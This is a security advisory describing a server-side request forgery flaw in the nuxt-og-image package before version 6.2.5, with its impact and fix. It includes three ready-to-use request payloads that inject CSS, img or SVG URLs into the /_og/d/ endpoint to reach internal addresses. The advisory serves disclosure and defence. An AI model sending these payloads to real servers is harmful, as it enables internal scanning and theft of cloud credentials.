What is GHSA-pqhr-mp3f-hrpp?
GHSA-pqhr-mp3f-hrpp is a server-side request forgery vulnerability in nuxt-og-image, published on 31 Mar 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Official description
Product: Nuxt OG Image Version: < 6.2.5 CWE-ID: CWE-918: Server-Side Request Forgery
Description
The image generation endpoint (/_og/d/) accepts user-controlled parameters that are passed to the server-side renderer without proper validation or filtering. An attacker can trigger server-side requests to internal network addresses through multiple vectors.
Impact
- Scanning internal ports and services inaccessible from the outside
- Reading sensitive data from cloud infrastructure metadata services (tokens, credentials) when verbose error output is enabled
Attack Vectors
Three distinct vectors were identified, all exploiting the same underlying lack of URL validation:
Vector 1: CSS background-image injection via style parameter
GET /_og/d/og.png?style=background-image:+url('http://127.0.0.1:8888/secret')
Vector 2: <img src> injection via html parameter
GET /_og/d/og.png?html=<img src="http://127.0.0.1:8888/secret">
When verbose errors are enabled, the response content is leaked in base64-encoded error messages.
Vector 3: SVG <image href> injection via html parameter
GET /_og/d/og.png?html=<svg><image href="http://127.0.0.1:8888/secret"></svg>
Mitigation
Fixed in v6.2.5. The image source plugin now blocks requests to private IP ranges (IPv4/IPv6), loopback addresses, link-local addresses, and cloud metadata endpoints. Decimal/hexadecimal IP encoding bypasses are also handled.
